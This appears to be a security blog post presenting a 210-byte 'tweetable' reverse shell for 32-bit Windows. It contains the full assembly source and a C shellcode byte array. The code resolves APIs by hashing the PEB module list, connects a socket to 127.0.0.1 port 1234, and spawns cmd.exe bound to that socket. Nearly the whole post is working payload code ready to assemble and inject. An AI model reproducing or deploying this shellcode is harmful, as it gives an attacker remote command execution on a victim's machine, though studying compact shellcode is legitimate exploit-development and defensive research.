Introduction

Since being granted a 280 character limit, many twitter users have been embedding all kinds of code into a single message. This will be a quick post showing a tweetable reverse shell for x86 windows. You’ll have to forgive me for writing about boring shellcodes again, I have nothing else to write about 😛

Payload generators seem unable to produce a reverse shell equal to or less than 210 bytes which is required before conversion to base64. The code here has been written mostly from scratch, but obviously not without influence from existing shellcodes that featured nice ideas.

There are 3 in particular I took ideas from. Not all of the code is entirely necessary, but I wanted the final code to be somewhat stable. In the end, I had to remove code to gracefully exit, so once the cmd process ends, it takes the host process with it…

Moreover, this code is unlikely to run smoothly on all versions of Windows due to elimination of code that would make it work. If you can optimize it further, I’m sure you can get it to work on all versions of windows.

Recycling ideas

The following codes were useful for writing the tweetable version.

Year Author Description 2007 weiss Traverses the PEB DLL list, and initializes all parameters before calling API, the latter of which seems to be inspired by rgb/29a viruses. 2008 weiss A function to resolve and invoke an API is kept separate from all other code. It jumps directly to the API address once found and then returns to the caller. 2009 Stephen Fewer Provides additional hashing of DLL name from PEB

Here’s the source code which can be assembled using YASM or NASM.

; 210 byte reverse shell for x86 windows ; odzhan bits 32 struc pushad_t _edi resd 1 _esi resd 1 _ebp resd 1 _esp resd 1 _ebx resd 1 _edx resd 1 _ecx resd 1 _eax resd 1 .size: endstruc bits 32 xor eax , eax call init_api_disp ; load the API dispatcher api_hash: dd 0xDF6D65D1 ; WS2_32.dll + WSASocketA db 'cmd' , 0h dd 0D2040002h ; sa.sin_port = htons(1234) dd 00100007Fh ; sa.sin_addr = inet_addr("127.0.0.1") dd 0xA324AC0C ; WS2_32.dll + connect dd 0x611AD39B ; KERNEL32.dll + CreateProcessA dd 0x607F058C ; KERNEL32.dll + WaitForSingleObject ;dd 0x467EDD8B ; ntdll.dll + RtlExitUserThread api_disp: lodsd ; eax = hash to find pushad ; saves api hash on stack xor eax , eax mov eax , [ fs : eax + 30h ] ; eax = (PPEB) __readfsdword(0x30); mov eax , [ eax + 0ch ] ; eax = (PPEB_LDR_DATA)peb->Ldr mov edi , [ eax + 0ch ] ; edi = ldr->InLoadOrderModuleList.Flink jmp get_dll next_dll: mov edi , [ edi ] ; edi = dte->InLoadOrderLinks.Flink get_dll: mov ebx , [ edi + 18h ] ; ebx = dte->DllBase ; eax = IMAGE_DOS_HEADER.e_lfanew mov eax , [ ebx + 3ch ] ; ecx = IMAGE_DATA_DIRECTORY.VirtualAddress mov ecx , [ ebx + eax + 78h ] jecxz next_dll ; esi = hash_dll(IMAGE_EXPORT_DIRECTORY.Name) mov esi , [ ebx + ecx + 0ch ] add esi , ebx xor eax , eax cdq hash_dll: lodsb add edx , eax ; h += *s++ rol edx , 13 ; h = ROTL32(h, 13) dec eax jns hash_dll mov ebp , edx ; esi = offset IMAGE_EXPORT_DIRECTORY.NumberOfNames lea esi , [ ebx + ecx + 18h ] lodsd xchg eax , ecx jecxz next_dll ; skip if no names push edi ; save edi ; save IMAGE_EXPORT_DIRECTORY.AddressOfFunctions lodsd add eax , ebx ; eax = RVA2VA(eax, ebx) push eax ; save address of functions ; edi = IMAGE_EXPORT_DIRECTORY.AddressOfNames lodsd add eax , ebx ; eax = RVA2VA(eax, ebx) xchg eax , edi ; swap(eax, edi) ; save IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals lodsd add eax , ebx ; eax = RVA(eax, ebx) push eax ; save address of name ordinals get_name: mov esi , [ edi + 4 * ecx - 4 ] ; esi = RVA of API string add esi , ebx ; esi = RVA2VA(esi, ebx) xor eax , eax ; zero eax cdq ; h = 0 hash_name: lodsb add edx , eax rol edx , 13 dec eax jns hash_name add edx , ebp ; add hash of DLL string cmp edx , [ esp + _eax + 12 ] ; hashes match? loopne get_name ; --ecx && edx != hash pop edx ; edx = AddressOfNameOrdinals pop esi ; esi = AddressOfFunctions pop edi ; restore DLL entry jne next_dll ; get next DLL movzx eax , word [ edx + 2 * ecx ] ; eax = AddressOfNameOrdinals[eax] add ebx , [ esi + 4 * eax ] ; ecx = base + AddressOfFunctions[eax] mov [ esp + _eax ] , ebx popad ; restore all jmp eax ; jmp to api address init_api_disp: pop esi ; esi = api parameters lea ebp , [ esi + ( api_disp - api_hash ) ] ; edi = alloc(124); push 124 pop ecx sub esp , ecx mov edi , esp rep stosb ; WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_IP, NULL, 0, 0); push 1 push 2 call ebp ; CreateProcess(NULL, "cmd", NULL, NULL, ; TRUE, 0, NULL, NULL, &si, &pi); mov ebx , esp ; ebx = &si lea edi , [ ebx + 38h ] ; edi = &si.hStdInput inc dword [ ebx + 2dh ] ; si.dwFlags = STARTF_USESTDHANDLES stosd ; si.hStdInput = s; stosd ; si.hStdOutput = s; stosd ; si.hStdError = s; cdq push edi ; lpProcessInformation = &pi push ebx ; lpStartupInfo = &si push edx ; lpCurrentDirectory = NULL push edx ; lpEnvironment = NULL push edx ; dwCreationFlags = 0 push eax ; bInheritHandles = TRUE push edx ; lpThreadAttributes = NULL push edx ; lpProcessAttributes = NULL push esi ; lpCommandLine = "cmd", 0 push edx ; lpApplicationName = NULL xchg ebx , eax lodsd ; connect(s, &sa, sizeof(sa)); push 10h ; sizeof(sa) push esi ; &sa push ebx ; s lodsd ; skip &sa lodsd call ebp ; connect call ebp ; CreateProcessA ; WaitForSingleObject(pi.hProcess, INFINITE); push -1 push dword [ edi ] call ebp ; RtlExitUserThread(); ; call ebp

Here’s a C string…don’t forget it uses 127.0.0.1 port 1234 for the network address.

#define RS2_SIZE 210 char RS2 [ ] = { / * 0000 * / "\x31\xc0" / * xor eax , eax * / / * 0002 * / "\xe8\x90\x00\x00\x00" / * call 0x97 * / / * 0007 * / "\xd1\x65\x6d" / * shl dword [ ebp + 0x6d ] , 1 * / / * 000A * / "\xdf\x63\x6d" / * fbld tword [ ebx + 0x6d ] * / / * 000D * / "\x64\x00\x02" / * add [ fs : edx ] , al * / / * 0010 * / "\x00\x04\xd2" / * add [ edx + edx * 8 ] , al * / / * 0013 * / "\x7f\x00" / * jg 0x15 * / / * 0015 * / "\x00\x01" / * add [ ecx ] , al * / / * 0017 * / "\x0c\xac" / * or al , 0xac * / / * 0019 * / "\x24\xa3" / * and al , 0xa3 * / / * 001B * / "\x9b" / * wait * / / * 001C * / "\xd3\x1a" / * rcr dword [ edx ] , cl * / / * 001E * / "\x61" / * popad * / / * 001F * / "\x8c\x05\x7f\x60\xad\x60" / * mov [ 0x60ad607f ] , es * / / * 0025 * / "\x31\xc0" / * xor eax , eax * / / * 0027 * / "\x64\x8b\x40\x30" / * mov eax , [ fs : eax + 0x30 ] * / / * 002B * / "\x8b\x40\x0c" / * mov eax , [ eax + 0xc ] * / / * 002E * / "\x8b\x78\x0c" / * mov edi , [ eax + 0xc ] * / / * 0031 * / "\xeb\x02" / * jmp 0x35 * / / * 0033 * / "\x8b\x3f" / * mov edi , [ edi ] * / / * 0035 * / "\x8b\x5f\x18" / * mov ebx , [ edi + 0x18 ] * / / * 0038 * / "\x8b\x43\x3c" / * mov eax , [ ebx + 0x3c ] * / / * 003B * / "\x8b\x4c\x03\x78" / * mov ecx , [ ebx + eax + 0x78 ] * / / * 003F * / "\xe3\xf2" / * jecxz 0x33 * / / * 0041 * / "\x8b\x74\x0b\x0c" / * mov esi , [ ebx + ecx + 0xc ] * / / * 0045 * / "\x01\xde" / * add esi , ebx * / / * 0047 * / "\x31\xc0" / * xor eax , eax * / / * 0049 * / "\x99" / * cdq * / / * 004A * / "\xac" / * lodsb * / / * 004B * / "\x01\xc2" / * add edx , eax * / / * 004D * / "\xc1\xc2\x0d" / * rol edx , 0xd * / / * 0050 * / "\x48" / * dec eax * / / * 0051 * / "\x79\xf7" / * jns 0x4a * / / * 0053 * / "\x89\xd5" / * mov ebp , edx * / / * 0055 * / "\x8d\x74\x0b\x18" / * lea esi , [ ebx + ecx + 0x18 ] * / / * 0059 * / "\xad" / * lodsd * / / * 005A * / "\x91" / * xchg ecx , eax * / / * 005B * / "\xe3\xd6" / * jecxz 0x33 * / / * 005D * / "\x57" / * push edi * / / * 005E * / "\xad" / * lodsd * / / * 005F * / "\x01\xd8" / * add eax , ebx * / / * 0061 * / "\x50" / * push eax * / / * 0062 * / "\xad" / * lodsd * / / * 0063 * / "\x01\xd8" / * add eax , ebx * / / * 0065 * / "\x97" / * xchg edi , eax * / / * 0066 * / "\xad" / * lodsd * / / * 0067 * / "\x01\xd8" / * add eax , ebx * / / * 0069 * / "\x50" / * push eax * / / * 006A * / "\x8b\x74\x8f\xfc" / * mov esi , [ edi + ecx * 4 - 0x4 ] * / / * 006E * / "\x01\xde" / * add esi , ebx * / / * 0070 * / "\x31\xc0" / * xor eax , eax * / / * 0072 * / "\x99" / * cdq * / / * 0073 * / "\xac" / * lodsb * / / * 0074 * / "\x01\xc2" / * add edx , eax * / / * 0076 * / "\xc1\xc2\x0d" / * rol edx , 0xd * / / * 0079 * / "\x48" / * dec eax * / / * 007A * / "\x79\xf7" / * jns 0x73 * / / * 007C * / "\x01\xea" / * add edx , ebp * / / * 007E * / "\x3b\x54\x24\x28" / * cmp edx , [ esp + 0x28 ] * / / * 0082 * / "\xe0\xe6" / * loopne 0x6a * / / * 0084 * / "\x5a" / * pop edx * / / * 0085 * / "\x5e" / * pop esi * / / * 0086 * / "\x5f" / * pop edi * / / * 0087 * / "\x75\xaa" / * jnz 0x33 * / / * 0089 * / "\x0f\xb7\x04\x4a" / * movzx eax , word [ edx + ecx * 2 ] * / / * 008D * / "\x03\x1c\x86" / * add ebx , [ esi + eax * 4 ] * / / * 0090 * / "\x89\x5c\x24\x1c" / * mov [ esp + 0x1c ] , ebx * / / * 0094 * / "\x61" / * popad * / / * 0095 * / "\xff\xe0" / * jmp eax * / / * 0097 * / "\x5e" / * pop esi * / / * 0098 * / "\x8d\x6e\x1c" / * lea ebp , [ esi + 0x1c ] * / / * 009B * / "\x6a\x7c" / * push 0x7c * / / * 009D * / "\x59" / * pop ecx * / / * 009E * / "\x29\xcc" / * sub esp , ecx * / / * 00A0 * / "\x89\xe7" / * mov edi , esp * / / * 00A2 * / "\xf3\xaa" / * rep stosb * / / * 00A4 * / "\x6a\x01" / * push 0x1 * / / * 00A6 * / "\x6a\x02" / * push 0x2 * / / * 00A8 * / "\xff\xd5" / * call ebp * / / * 00AA * / "\x89\xe3" / * mov ebx , esp * / / * 00AC * / "\x8d\x7b\x38" / * lea edi , [ ebx + 0x38 ] * / / * 00AF * / "\xff\x43\x2d" / * inc dword [ ebx + 0x2d ] * / / * 00B2 * / "\xab" / * stosd * / / * 00B3 * / "\xab" / * stosd * / / * 00B4 * / "\xab" / * stosd * / / * 00B5 * / "\x99" / * cdq * / / * 00B6 * / "\x57" / * push edi * / / * 00B7 * / "\x53" / * push ebx * / / * 00B8 * / "\x52" / * push edx * / / * 00B9 * / "\x52" / * push edx * / / * 00BA * / "\x52" / * push edx * / / * 00BB * / "\x50" / * push eax * / / * 00BC * / "\x52" / * push edx * / / * 00BD * / "\x52" / * push edx * / / * 00BE * / "\x56" / * push esi * / / * 00BF * / "\x52" / * push edx * / / * 00C0 * / "\x93" / * xchg ebx , eax * / / * 00C1 * / "\xad" / * lodsd * / / * 00C2 * / "\x6a\x10" / * push 0x10 * / / * 00C4 * / "\x56" / * push esi * / / * 00C5 * / "\x53" / * push ebx * / / * 00C6 * / "\xad" / * lodsd * / / * 00C7 * / "\xad" / * lodsd * / / * 00C8 * / "\xff\xd5" / * call ebp * / / * 00CA * / "\xff\xd5" / * call ebp * / / * 00CC * / "\x6a\xff" / * push 0xffffffff * / / * 00CE * / "\xff\x37" / * push dword [ edi ] * / / * 00D0 * / "\xff\xd5" / * call ebp * / } ;

Testing

It was tested in a 32-bit process (Wow64) running on 64-bit versions of Windows 7 and 10. It’s unlikely to run on Windows NT.

View source here